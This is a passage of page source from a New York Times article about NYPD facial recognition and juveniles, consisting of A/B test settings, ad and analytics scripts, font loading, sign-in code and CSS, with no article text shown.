"1_external",1]]],["DFP_als",[[4294967296,"1_als",1]]],["DFP_als_home",[[214748365,"1_als",1],[214748365,"1_als",1],[429496730,"1_als",1],[429496729,"1_als",1],[858993459,"1_als",1],[1073741824,"1_als",1],[1073741824,null,0]]],["medianet_toggle",[[4294967296,"0_default",0]]],["amazon_toggle",[[4294967296,null,0]]],["index_toggle",[[4294967296,"1_block",0]]],["dfp_home_toggle",[[4294967296,null,0]]],["dfp_story_toggle",[[4294967296,null,0]]],["dfp_interactive_toggle",[[4294967296,null,0]]],["FREEX_Best_In_Show",[[2147483648,"0_Control",1],[2147483648,"1_Best",1]]],["MKT_dfp_ocean_language",[[2147483648,"0_control",1],[2147483648,"1_language",1]]],["MC_magnolia_0519",[[4294967296,"1_magnolia",1]]],["STORY_topical_recirc",[[2147483648,"0_control",1],[2147483648,"1_variant",1]]],["HOME_timesExclusive",[[2147483648,"0_control",1],[2147483648,"1_variant",1]]],["ON_daily_digest_NL_0719",[[644245095,"0_control",1],[644245094,"1_daily_digest",1],[3006477107,null,0]]],["HOME_discovery_automation",[[2147483648,"0_control",1],[2147483648,"1_automation",1]]],["MKT_GateDockMsgTap",[[1431655766,"0_control",1],[1431655765,"2_BAUDockTapGate",1],[1431655765,"4_BAUDockRBGate",1]]],["FREEX_RegiWall_Messaging",[[214748365,"0_Control",1],[214748365,"1_Continue_Reading",1],[214748365,"2_For_Free",1],[214748365,"3_Keep_Reading",1],[214748364,"4_Continue_Reading_NoHeader",1],[214748365,"5_For_Free_NoHeader",1],[214748365,"6_Keep_Reading_NoHeader",1],[858993459,"0_Control",1],[858993459,"6_Keep_Reading_NoHeader",1],[1073741824,null,0]]],["MC_briefing_bar_anon_test_0519",[[1431655766,"0_control",1],[1431655765,"1_subscribe",1],[1431655765,"2_regi",1]]],["MC_briefing_bar_regi_test_0519",[[2147483648,"0_control",1],[2147483648,"1_subscribe",1]]],["SEARCH_FACET_DROPDOWN",[[2147483648,"0_FACET_MULTI_SELECT",1],[2147483648,"1_DYNAMIC_FACET_SELECT",1]]],["VG_gift_upsell_x_only",[[429496730,"0_control",1],[3865470566,"1_upsell",1]]],["ON_allocator_0719",[[356482286,"ON_login_interrupt_0819-0_control",0],[356482286,"ON_login_interrupt_0819-1_app_experience",0],[356482285,"ON_login_interrupt_0819-2_login_value",0],[356482286,"ON_login_interrupt_0819-3_login_return",0],[356482285,"ON_app_dl_getstarted_0819-0_control",0],[356482286,"ON_app_dl_getstarted_0819-1_appExperience",0],[356482285,"ON_app_dl_getstarted_0819-2_bestApp",0],[356482286,"ON_app_dl_getstarted_0819-3_magicLink",0],[236223201,"ON_app_dl_mc4-6_0819-0_control",0],[236223202,"ON_app_dl_mc4-6_0819-1_dockTrunc",0],[236223201,"ON_app_dl_mc4-6_0819-2_newDock",0],[236223201,"ON_app_dl_mc4-6_0819-3_stdNew",0],[236223201,"ON_app_dl_mc4-6_0819-4_stdDockTrunc",0],[236223202,"ON_app_dl_mc4-6_0819-5_truncator",0],[25769803,null,0]]],["MKT_dfp_ocean_bundle_light",[[1431655766,"0_control",1],[1431655765,"1_design",1],[1431655765,"2_design_light",1]]],["MKT_dfp_ocean_bundle_family",[[1431655766,"0_control",1],[1431655765,"1_design",1],[1431655765,"2_family",1]]],["HL_sample",[[2147483648,"0",1],[2147483648,"1",1]]],["HL_100000006614214",[[2147483648,"0",1],[2147483648,"1",1]]],["HL_100000006641840",[[2147483648,"0",1],[2147483648,"1",1]]]]}]); })();;(function () { var _f=function(e){var r=function(){var r=e.url;try{r+=window.location.search.slice(1).split("&").reduce(function(e,r){return"ip-override"===r.split("=")[0]?"?"+r:e},"")}catch(e){console.warn(e)}var n=new XMLHttpRequest;for(var t in n.withCredentials=!0,n.open("POST",r,!0),n.setRequestHeader("Content-Type","application/json"),e.headers)n.setRequestHeader(t,e.headers[t]);return n.send(e.body),n};window.userXhrObject=r(),window.userXhrRefresh=function(){return window.userXhrObject=r(),window.userXhrObject}};;_f.apply(null, [{"url":"https://samizdat-graphql.nytimes.com/graphql/v2","body":"{\"operationName\":\"UserQuery\",\"variables\":{},\"query\":\" query UserQuery { user { __typename profile { displayName } userInfo { regiId entitlements demographics { emailSubscriptions wat bundleSubscriptions { bundle inGrace promotion source } } } subscriptionDetails { graceStartDate graceEndDate isFreeTrial hasQueuedSub startDate endDate status entitlements } } } \"}","headers":{"nyt-app-type":"project-vi","nyt-app-version":"0.0.5","nyt-token":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs+/oUCTBmD/cLdmcecrnBMHiU/pxQCn2DDyaPKUOXxi4p0uUSZQzsuq1pJ1m5z1i0YGPd1U1OeGHAChWtqoxC7bFMCXcwnE1oyui9G1uobgpm1GdhtwkR7ta7akVTcsF8zxiXx7DNXIPd2nIJFH83rmkZueKrC4JVaNzjvD+Z03piLn5bHWU6+w+rA+kyJtGgZNTXKyPh6EC6o5N+rknNMG5+CdTq35p8f99WjFawSvYgP9V64kgckbTbtdJ6YhVP58TnuYgr12urtwnIqWP9KSJ1e5vmgf3tunMqWNm6+AnsqNj8mCLdCuc5cEB74CwUeQcP2HQQmbCddBy2y0mEwIDAQAB"}}]); })();;100*Math.random()<=vi.env.SENTRY_SAMPLE_RATE?(window.INSTALL_RAVEN=!0,window.nyt_errors={ravenInstalled:!1,list:[],tags:[]},window.onerror=function(n,r,o,w,i){if(!window.nyt_errors.ravenInstalled){var t={err:i,data:{}};window.nyt_errors.list.push(t)}}):window.INSTALL_RAVEN=!1;;(function () { var _f=function(t,e,n){var a=window,A=document,o=function(t){var e=A.createElement("style");e.appendChild(A.createTextNode(t)),A.querySelector("head").appendChild(e)},r=function(t,e,n,a,A){var r=new XMLHttpRequest;r.open("GET",t,!0),r.onreadystatechange=function(){if(4===r.readyState&&200===r.status){o(r.responseText);try{localStorage.setItem("nyt-fontFormat",e),localStorage.setItem(a,n)}catch(t){return}localStorage.setItem(A,r.responseText)}return!0},r.send(null)},c=function(e,n){var A;try{A=localStorage.getItem("nyt-fontFormat")}catch(t){}A||(A=function(){if(!("FontFace"in a))return!1;var t=new FontFace("t",'url("data:application/font-woff2;base64,d09GMgABAAAAAADcAAoAAAAAAggAAACWAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAABk4ALAoUNAE2AiQDCAsGAAQgBSAHIBtvAcieB3aD8wURQ+TZazbRE9HvF5vde4KCYGhiCgq/NKPF0i6UIsZynbP+Xi9Ng+XLbNlmNz/xIBBqq61FIQRJhC/+QA/08PJQJ3sK5TZFMlWzC/iK5GUN40psgqvxwBjBOg6JUSJ7ewyKE2AAaXZrfUB4v+hze37ugJ9d+DeYqiDwVgCawviwVFGnuttkLqIMGivmDg") format("woff2")',{});return t.load().catch(function(){}),"loading"==t.status||"loaded"==t.status}()?"woff2":"woff");for(var c=0;c<e.length;c++){var i=e[c],l="shared"!==i?"-"+i:"",d="nyt-fontHash"+l,s="nyt-fontFace"+l,f=t[i][A],u=localStorage.getItem(d),g=localStorage.getItem(s);if(u===f.hash&&g)o(g);else{var h=function(t,e,n,a,A){return function(){r(t,e,n,a,A)}}(f.url,A,f.hash,d,s);n?h():document.addEventListener("DOMContentLoaded",h)}}};c(e),window.addEventListener("load",function(){c(n,!0)})};;_f.apply(null, [{"shared":{"woff":{"hash":"f2adc73415c5bbb437e993c14559e70e","url":"/vi-assets/static-assets/shared-woff.fonts-f2adc73415c5bbb437e993c14559e70e.css"},"woff2":{"hash":"22b34a6a6fd840943496b658184afdd3","url":"/vi-assets/static-assets/shared-woff2.fonts-22b34a6a6fd840943496b658184afdd3.css"}},"story":{"woff":{"hash":"3c668927c32fbefb440b4024d5da6351","url":"/vi-assets/static-assets/story-woff.fonts-3c668927c32fbefb440b4024d5da6351.css"},"woff2":{"hash":"acec1a902e1795b20a0204af82726cd2","url":"/vi-assets/static-assets/story-woff2.fonts-acec1a902e1795b20a0204af82726cd2.css"}},"opinion":{"woff":{"hash":"dfc5106c9c0aaa76688687e664474b04","url":"/vi-assets/static-assets/opinion-woff.fonts-dfc5106c9c0aaa76688687e664474b04.css"},"woff2":{"hash":"e2b27ff317927dfd77bdd429409627e0","url":"/vi-assets/static-assets/opinion-woff2.fonts-e2b27ff317927dfd77bdd429409627e0.css"}},"tmag":{"woff":{"hash":"4634f3c7ddebb9113b69d4578d9a0ba0","url":"/vi-assets/static-assets/tmag-woff.fonts-4634f3c7ddebb9113b69d4578d9a0ba0.css"},"woff2":{"hash":"8622c93c260fa93b229b7249df708fb1","url":"/vi-assets/static-assets/tmag-woff2.fonts-8622c93c260fa93b229b7249df708fb1.css"}},"mag":{"woff":{"hash":"109e6d301ed49c8078086b5892696adf","url":"/vi-assets/static-assets/mag-woff.fonts-109e6d301ed49c8078086b5892696adf.css"},"woff2":{"hash":"fb42c728dc70cc4ef6010a60cb10b0bd","url":"/vi-assets/static-assets/mag-woff2.fonts-fb42c728dc70cc4ef6010a60cb10b0bd.css"}},"well":{"woff":{"hash":"f0e613b89006e99b4622d88aa5563a81","url":"/vi-assets/static-assets/well-woff.fonts-f0e613b89006e99b4622d88aa5563a81.css"},"woff2":{"hash":"77806b85de524283fe742b916c9d0ee4","url":"/vi-assets/static-assets/well-woff2.fonts-77806b85de524283fe742b916c9d0ee4.css"}}},["shared","story"],["opinion","tmag","mag","well"]]); })();;(function () { function swgDataLayer(e){return!!window.dataLayer&&((window.dataLayer=window.dataLayer||[]).push({event:"impression",module:e}),!0)}function checkSwgOptOut(){if(!window.localStorage)return!1;var e=window.localStorage.getItem("nyt-swgOptOut");if(!e)return!1;var t=parseInt(e,10);return((new Date).getTime()-t)/864e5<1||(window.localStorage.removeItem("nyt-swgOptOut"),!1)}function swgDeferredAccount(e,t){return e.completeDeferredAccountCreation({entitlements:t,consent:!1}).then(function(e){var t=vi.env.AUTH_HOST+"/svc/account/auth/v1/swg-dal-web",n=e.purchaseData.raw.data?e.purchaseData.raw.data:e.purchaseData.raw,o=JSON.parse(n),a={package_name:o.packageName,product_id:o.productId,purchase_token:o.purchaseToken,google_id_token:e.userData.idToken,google_user_email:e.userData.email,google_user_id:e.userData.id,google_user_name:e.userData.name},r=new XMLHttpRequest;r.withCredentials=!0,r.open("POST",t,!0),r.setRequestHeader("Content-Type","application/json"),r.send(JSON.stringify(a)),r.onload=function(){200===r.status?(swgDataLayer({name:"swg",context:"Deferred",label:"Seamless Signin",region:"swg-modal"}),e.complete().then(function(){window.location.reload(!0)})):(e.complete(),window.location=encodeURI(vi.env.AUTH_HOST+"/get-started/swg-link?redirect="+window.location.href))}}).catch(function(){return!!window.localStorage&&(!window.localStorage.getItem("nyt-swgOptOut")&&(window.localStorage.setItem("nyt-swgOptOut",(new Date).getTime()),!0))}),!0}function loginWithGoogle(){return"undefined"!=typeof window&&(-1===document.cookie.indexOf("NYT-S")&&(!0!==checkSwgOptOut()&&(!!window.SWG&&((window.SWG=window.SWG||[]).push(function(e){return e.init(vi.env.SWG_PUBLICATION_ID),e.getEntitlements().then(function(t){if(void 0===t||!t.raw)return!1;var n={entitlements_token:t.raw};return window.swgUserInfoXhrObject.withCredentials=!0,window.swgUserInfoXhrObject.open("POST",vi.env.AUTH_HOST+"/svc/account/auth/v1/login-swg-web",!0),window.swgUserInfoXhrObject.setRequestHeader("Content-Type","application/json"),window.swgUserInfoXhrObject.send(JSON.stringify(n)),window.swgUserInfoXhrObject.onload=function(){switch(window.swgUserInfoXhrObject.status){case 200:return swgDataLayer({name:"swg",context:"Seamless",label:"Seamless Signin",region:"login"}),window.location.reload(!0),!0;case 412:return swgDeferredAccount(e,t);default:return!1}},t}).catch(function(){return!1}),!0}),!0))))}var _f=function(){if(window.swgUserInfoXhrObject.checkSwgResponse=!1,-1===document.cookie.indexOf("NYT-S")){var e=document.createElement("script");e.src="https://news.google.com/swg/js/v1/swg.js",e.setAttribute("subscriptions-control","manual"),e.setAttribute("async",!0),e.onload=function(){loginWithGoogle()},document.getElementsByTagName("head")[0].appendChild(e)}};;_f.apply(null, []); })();
+ </script>
+
+ <link data-rh="true" rel="shortcut icon" href="/vi-assets/static-assets/favicon-4bf96cb6a1093748bf5b3c429accb9b4.ico"/><link data-rh="true" rel="apple-touch-icon" href="/vi-assets/static-assets/apple-touch-icon-319373aaf4524d94d38aa599c56b8655.png"/><link data-rh="true" rel="apple-touch-icon-precomposed" sizes="144×144" href="/vi-assets/static-assets/ios-ipad-144x144-319373aaf4524d94d38aa599c56b8655.png"/><link data-rh="true" rel="apple-touch-icon-precomposed" sizes="114×114" href="/vi-assets/static-assets/ios-iphone-114x144-61d373c43aa8365d3940c5f1135f4597.png"/><link data-rh="true" rel="apple-touch-icon-precomposed" href="/vi-assets/static-assets/ios-default-homescreen-57x57-7cccbfb151c7db793e92ea58c30b9e72.png"/><link data-rh="true" rel="alternate" itemprop="mainEntityOfPage" hrefLang="en-US" href="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><link data-rh="true" rel="canonical" href="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><link data-rh="true" rel="alternate" href="android-app://com.nytimes.android/nytimes/reader/id/100000006583622"/><link data-rh="true" rel="amphtml" href="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.amp.html"/><link data-rh="true" rel="alternate" type="application/json+oembed" href="https://www.nytimes.com/svc/oembed/json/?url=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" title="She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database."/>
+ <script data-rh="true" >
+ if (typeof testCookie === 'undefined') {
+ var testCookie = function (name) {
+ var match = document.cookie.match(new RegExp(name + '=([^;]+)'));
+ if (match) return match[1];
+ }
+ }
+</script><script data-rh="true" >if (window.NYTD.Abra('dfp_story_toggle') !== '1_block') {
+
+ if (testCookie('nyt-gdpr') !== '1') {
+ var gptScript = document.createElement('script');
+ gptScript.async = 'async';
+ gptScript.src = '//securepubads.g.doubleclick.net/tag/js/gpt.js';
+ document.head.appendChild(gptScript);
+ }
+ }</script><script data-rh="true" >if (window.NYTD.Abra('dfp_story_toggle') !== '1_block') {
+
+ var googletag = googletag || {};
+ googletag.cmd = googletag.cmd || [];
+
+ if (testCookie('nyt-gdpr') == '1') {
+ googletag.cmd.push(function() {
+ googletag.pubads().setRequestNonPersonalizedAds(1);
+ });
+ }
+ }</script><script data-rh="true" >if (window.NYTD.Abra('dfp_story_toggle') !== '1_block') {
+ (function () { var _f=function(){var t,e,o=50,n=50;function i(t){if(!document.getElementById("3pCheckIframeId")){if(t||(t=1),!document.body){if(t>o)return;return t+=1,setTimeout(i.bind(null,t),n)}var e,a,r;e="https://static01.nyt.com/ads/tpc-check.html",a=document.body,(r=document.createElement("iframe")).src=e,r.id="3pCheckIframeId",r.style="display:none;",r.height=0,r.width=0,a.insertBefore(r,a.firstChild)}}function a(t){if("https://static01.nyt.com"===t.origin)try{"3PCookieSupported"===t.data&&googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","true")}),"3PCookieNotSupported"===t.data&&googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","false")})}catch(t){}}function r(){if(function(){if(Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor")>0)return!0;if("[object SafariRemoteNotification]"===(!window.safari||safari.pushNotification).toString())return!0;try{return window.localStorage&&/Safari/.test(window.navigator.userAgent)}catch(t){return!1}}()){try{window.openDatabase(null,null,null,null)}catch(e){return t(),!0}try{localStorage.length?e():(localStorage.x=1,localStorage.removeItem("x"),e())}catch(o){navigator.cookieEnabled?t():e()}return!0}}!function(){try{googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","unknown")})}catch(t){}}(),t=function(){try{googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","private")})}catch(t){}}||function(){},e=function(){window.addEventListener("message",a,!1),i(0)}||function(){},function(){if(window.webkitRequestFileSystem)return window.webkitRequestFileSystem(window.TEMPORARY,1,e,t),!0}()||r()||function(){if(!window.indexedDB&&(window.PointerEvent||window.MSPointerEvent))return t(),!0}()||e()};;_f.apply(null, []); })();
+ }</script><script data-rh="true" >(function() {
+ var AdSlot4=function(){"use strict";function D(n,i,o){var t=document.getElementsByTagName("head")[0],e=document.createElement("script");i&&(e.onload=i),o&&(e.onerror=o),e.src=n,e.async=!0,t.appendChild(e)}return function(){var A=window.AdSlot4||{};A.cmd=A.cmd||[];var b=!1;if(A.loadScripts)return A;function z(t){"art, oak"!==t&&"art,oak"!==t||(t="art"),A.cmd.push(function(){A.events.subscribe({name:"AdDefined",scope:"all",callback:function(n){var o,i=[-1];n.sizes.forEach(function(n){n[0]<window.innerWidth&&n[0]>i[0]&&(i=[]).push(n)}),i[0][1]&&window.apstag.fetchBids({slots:[{slotID:n.id,slotName:"".concat(n.id,"_").concat(t,"_web"),sizes:(o=i[0][1],Array.isArray(o)?[[300,250],[728,90],[970,90],[970,250]].filter(function(i){return o.some(function(n){return n[0]===i[0]&&n[1]===i[1]})}):(console.warn("filterSizes() did not receive an array"),[]))}]},function(){window.googletag.cmd.push(function(){window.apstag.setDisplayBids()})})}})})}return A.loadScripts=function(n){var i,o,t,e,d,a,c,s,r=n||{},w=r.loadMnet,u=void 0===w||w,l=r.loadAmazon,p=void 0===l||l,f=r.loadBait,m=void 0===f||f,v=r.section,g=void 0===v?"none":v,h=r.pageViewId,y=void 0===h?"":h,B=r.pageType,x=void 0===B?"":B;b||("1"===(c="nyt-gdpr",(s=document.cookie.match(new RegExp("".concat(c,"=([^;]+)"))))?s[1]:"")||(d=document.referrer||"",(a=/([a-zA-Z0-9_\-.]+)(@|%40)([a-zA-Z0-9_\-.]+).([a-zA-Z]{2,5})/).test(d)||a.test(window.location.href))||(!u||window.advBidxc&&window.advBidxc.isLoaded||(t=y,e="8CU2553YN",window.innerWidth<740&&(e="8CULO58R6"),D("https://contextual.media.net/bidexchange.js?cid=".concat(e,"&dn=").concat("www.nytimes.com","&https=1"),function(){window.advBidxc&&window.advBidxc.isLoaded||console.warn("Media.net not loading properly")},function(){A.cmd.push(function(){A.events.publish({name:"BidderError",value:{type:"Mnet"}})})}),window.advBidxc=window.advBidxc||{},window.advBidxc.renderAd=function(){},window.advBidxc.startTime=(new Date).getTime(),window.advBidxc.customerId={mediaNetCID:e},window.advBidxc.misc={isGptDisabled:1},t&&(window.advBidxc.misc.keywords=t)),p&&!window.apstag&&(i=g,o=x,function(o,t){function n(n,i){t[o]._Q.push([n,i])}t[o]||(t[o]={init:function(){n("i",arguments)},fetchBids:function(){n("f",arguments)},setDisplayBids:function(){},targetingKeys:function(){return[]},_Q:[]})}("apstag",window),D("//c.amazon-adsystem.com/aax2/apstag.js",function(){window.apstag||console.warn("A9 not loading properly")},function(){A.cmd.push(function(){A.events.publish({name:"BidderError",value:{type:"A9"}})})}),window.apstag.init({pubID:"3030",adServer:"googletag",params:{si_section:i}}),z(o))),m&&D("https://static01.nyt.com/ads/google/adsbygoogle.js",function(){},function(){A.cmd.push(function(){A.events.publish({name:"AdEmpty",value:{type:"AdBlockOn"}})})}),b=!0)},window.AdSlot4=A}()}();
+ AdSlot4.loadScripts({
+ loadMnet: window.NYTD.Abra('medianet_toggle') !== '1_block',
+ loadAmazon: window.NYTD.Abra('amazon_toggle') !== '1_block',
+ section: 'nyregion',
+ pageType: 'art,oak',
+ pageViewId: window.NYTD.PageViewId.current,
+ });
+ (function () { var _f=function(e){var o=performance.navigation&&1===performance.navigation.type;function t(){return window.matchMedia("(max-width: 739px)").matches}function n(e){var n,r,i,d,a,p,u=function(){var e=window.userXhrObject&&""!==window.userXhrObject.responseText&&JSON.parse(window.userXhrObject.responseText).data||null,o=null;return e&&e.user&&e.user.userInfo&&(o=e.user.userInfo.demographics),o}();return u?(r=e,d=(n=u)&&n.emailSubscriptions,(a=n&&n.bundleSubscriptions)&&r&&(r.sub="reg",d&&d.length&&(r.em=d.toString().toLowerCase()),n.wat&&(r.wat=n.wat.toLowerCase()),a&&a.length&&a[0].bundle&&(i=a[0],r.sub=i.bundle.toLowerCase(),i.source&&(r.subsrc=i.source.toLowerCase()),i.promotion&&(r.subprm=i.promotion),i.in_grace&&(r.grace=i.in_grace.toString()))),e=r):e.sub="anon",t()?(e.prop="mnyt",e.plat="mweb",e.ver="mvi"):(e.prop="nyt",e.plat="web",e.ver="vi"),"hp"===e.typ&&(document.referrer&&(e.topref=document.referrer),o&&(e.refresh="manual")),e.abra_dfp=(p=document.documentElement.getAttribute("data-nyt-ab"))?p.split(" ").reduce(function(e,o){var t=o.split("="),n=t[0].toLowerCase(),r=t[1];return(n.indexOf("dfp")>-1||n.indexOf("redbird")>-1)&&e.push(n+"_"+r),e},[]):"",e.page_view_id=window.NYTD.PageViewId&&window.NYTD.PageViewId.current,e}var r=e||{},i=r.adTargeting||{},d=r.adUnitPath||"/29390238/nyt/homepage",a=r.offset||400,p=r.hideTopAd||t(),u=r.lockdownAds||!1,s=r.sizeMapping||{top:[[970,["fluid",[728,90],[970,90],[970,250],[1605,300]]],[728,["fluid",[728,90],[1605,300]]],[0,["fluid",[300,250],[300,420]]]],fp1:[[0,[195,250]]],fp2:[[0,[195,250]]],fp3:[[0,[195,250]]],interstitial:[[0,[[1,1],[640,480]]]],mktg:[[1020,[300,250]],[0,[]]],pencil:[[728,[[336,46]],[0,[]]]],pp_edpick:[[0,["fluid"]]],pp_morein:[[0,["fluid"],[210,218]]],ribbon:[[0,["fluid"]]],sponsor:[[765,[150,50]],[0,[320,25]]],supplemental:[[1020,[[300,250],[300,600]]],[0,[]]],default:[[970,["fluid",[728,90],[970,90],[970,250],[1605,300]]],[728,["fluid",[728,90],[300,250],[1605,300]]],[0,["fluid",[300,250],[300,420]]]]},l=r.dfpToggleName||"dfp_home_toggle";window.AdSlot4=window.AdSlot4||{},window.AdSlot4.cmd=window.AdSlot4.cmd||[],window.AdSlot4.cmd.push(function(){window.AdSlot4.init({adTargeting:n(i),adUnitPath:d,sizeMapping:s,offset:a,haltDFP:"1_block"===window.NYTD.Abra(l),hideTopAd:p,lockdownAds:u}),window.NYTD.Abra.reportExposure("dfp_adslot4v2")})};;_f.apply(null, [{"adTargeting":{"edn":"us","sov":"3","test":"projectvi","ver":"vi","hasVideo":false,"template":"article","als_test":"1565027040168","prop":"nyt","plat":"web","brandsensitive":"false","org":"policedepartmentnyc","geo":"newyorkcity","des":"juveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties","auth":"aliwatkins,josephgoldstein","coll":"newyork,usnews,technology,techandsociety","artlen":"medium","ledemedsz":"none","typ":"art,oak","section":"nyregion","si_section":"nyregion","id":"100000006583622","pt":"nt10,nt15,nt16,nt18,nt3,nt4,nt9","gscat":"neg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education"},"adUnitPath":"/29390238/nyt/nyregion/","dfpToggleName":"dfp_story_toggle"}]); })();
+ })();</script><script data-rh="true" id="als-svc">var alsVariant = window.NYTD.Abra('DFP_als');
+ if (alsVariant != null && alsVariant.match(/(0_control|1_als)/)) {
+ window.NYTD.Abra.reportExposure('DFP_als');
+ }
+ if (window.NYTD.Abra('DFP_als') === '1_als') {
+ (function () { var _f=function(){window.googletag=window.googletag||{},googletag.cmd=googletag.cmd||[];var e=new XMLHttpRequest,t="prd"===window.vi.env.ENVIRONMENT?"als-svc.nytimes.com":"als-svc.dev.nytimes.com",n=document.querySelector('[name="nyt_uri"]'),o=null==n?"":encodeURIComponent(n.content),l=document.querySelector('[name="template"]'),s=document.querySelector('[name="prop"]'),a=document.querySelector('[name="plat"]'),i=null==l||null==l.content?"":l.content,c=null==s||null==s.content?"nyt":s.content,r=null==a||null==a.content?"web":a.content;window.innerWidth<740&&(c="mnyt",r="mweb"),"/"===location.pathname&&(o=encodeURIComponent("https://www.nytimes.com/pages/index.html"));var d=window.localStorage.getItem("als_test_clientside");void 0!==d&&window.googletag.cmd.push(function(){googletag.pubads().setTargeting("als_test_clientside",d)}),e.open("GET","https://"+t+"/als?uri="+o+"&typ="+i+"&prop="+c+"&plat="+r),e.withCredentials=!0,e.send(),e.onreadystatechange=function(){if(4===e.readyState)if(200===e.status){var t=JSON.parse(e.responseText);window.googletag.cmd.push(function(){void 0!==t.als_test_clientside&&(googletag.pubads().setTargeting("als_test_clientside",t.als_test_clientside),window.localStorage.setItem("als_test_clientside","ls-"+t.als_test_clientside)),Object.keys(t).forEach(function(e){"User"===e&&void 0!==t[e]&&window.localStorage.setItem("UTS_User",JSON.stringify(t[e]))})})}else{console.error("Error "+e.responseText);(window.dataLayer=window.dataLayer||[]).push({event:"impression",module:{name:"timing",context:"script-load",label:"alsService-als-error"}})}}};;_f.apply(null, []); })();
+ }
+ </script>
+ <link rel="stylesheet" href="/vi-assets/static-assets/global-42db6c8821fec0e2b3837b2ea2ece8fe.css" />
+ <style>.css-1dv1kvn{border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.css-v89234{overflow:hidden;height:100%;}.css-nuvmzp{font-size:14.25px;font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:700;text-transform:uppercase;-webkit-letter-spacing:0.7px;-moz-letter-spacing:0.7px;-ms-letter-spacing:0.7px;letter-spacing:0.7px;line-height:19px;}.css-nuvmzp:hover{-webkit-text-decoration:underline;text-decoration:underline;}.css-1gz70xg{border-left:1px solid #ccc;color:#326891;height:12px;margin-left:8px;padding-left:8px;}.css-9e9ivx{display:none;font-size:10px;margin-left:auto;text-transform:uppercase;}.hasLinks .css-9e9ivx{display:block;}@media (min-width:740px){.hasLinks .css-9e9ivx{margin:none;position:absolute;right:20px;}}@media (min-width:1024px){.hasLinks .css-9e9ivx{display:none;}}.css-2bwtzy{display:inline-block;padding:6px 4px 4px;margin-bottom:12px;font-size:12px;border-radius:3px;-webkit-transition:background 0.6s ease;transition:background 0.6s ease;}.css-2bwtzy:hover{background-color:#f7f7f7;}.css-1hyfx7x{display:none;}.css-6n7j50{display:inline;}.css-1kj7lfb{display:none;}@media (min-width:1024px){.css-1kj7lfb{display:inline-block;margin-right:7px;}}.css-10m9xeu{display:block;width:16px;height:16px;}.css-vz7hjd{border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.css-1fe7a5q{display:inline-block;height:16px;vertical-align:sub;width:16px;}.css-1rn5q1r{border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;background:#fff;display:inline-block;left:44px;text-transform:uppercase;-webkit-transition:none;transition:none;}.css-1rn5q1r:active,.css-1rn5q1r:focus{-webkit-clip:auto;clip:auto;overflow:visible;width:auto;height:auto;}.css-1rn5q1r::-moz-focus-inner{padding:0;border:0;}.css-1rn5q1r:-moz-focusring{outline:1px dotted;}.css-1rn5q1r:disabled,.css-1rn5q1r.disabled{opacity:0.5;cursor:default;}.css-1rn5q1r:active,.css-1rn5q1r.active{background-color:#f7f7f7;}@media (min-width:740px){.css-1rn5q1r:hover{background-color:#f7f7f7;}}.css-1rn5q1r:focus{margin-top:3px;padding:8px 8px 6px;}@media (min-width:1024px){.css-1rn5q1r{left:112px;}}.css-10488qs{display:none;}@media (min-width:1024px){.css-10488qs{display:inline-block;position:relative;}}.css-1iruc8t{list-style:none;margin:0;padding:0;}.css-1ropbjl::before{background-color:$white;border-bottom:1px solid #e2e2e2;border-top:2px solid #e2e2e2;content:'';display:block;height:1px;margin-top:0;}@media (min-width:1150px){.css-1ropbjl{margin:0 auto;max-width:1200px;padding:0 3% 9px;}}.NYTApp .css-1ropbjl{display:none;}@media print{.css-1ropbjl{display:none;}}.css-uw59u{padding:0 20px;}@media (min-width:740px){.css-uw59u{padding:0 3%;}}@media (min-width:1150px){.css-uw59u{padding:0;}}.css-jxzr5i{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-flow:row;-ms-flex-flow:row;flex-flow:row;}.css-oylsik{display:block;height:44px;vertical-align:middle;width:184px;}.css-1otr2jl{margin:18px 0 0 auto;}.css-1c8n994{color:#6288a5;font-family:nyt-franklin;font-size:11px;font-style:normal;font-weight:400;line-height:11px;-webkit-text-decoration:none;text-decoration:none;}.css-qtw155{display:block;}@media (min-width:1150px){.css-qtw155{display:none;}}.css-v0l3hm{display:none;}@media (min-width:1150px){.css-v0l3hm{display:block;}}.css-g4gku8{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-top:10px;min-width:600px;}.css-1rr4qq7{-webkit-flex:1;-ms-flex:1;flex:1;}.css-6xhk3s{border-left:1px solid #e2e2e2;-webkit-flex:1;-ms-flex:1;flex:1;padding-left:15px;}.css-rxqrcl{color:#333;font-size:13px;font-weight:700;font-family:nyt-franklin;height:25px;line-height:15px;margin:0;text-transform:uppercase;width:150px;}.css-tj0ten{margin-bottom:5px;white-space:nowrap;}.css-tj0ten:last-child{margin-bottom:10px;}.css-ist4u3.desktop{display:none;}@media 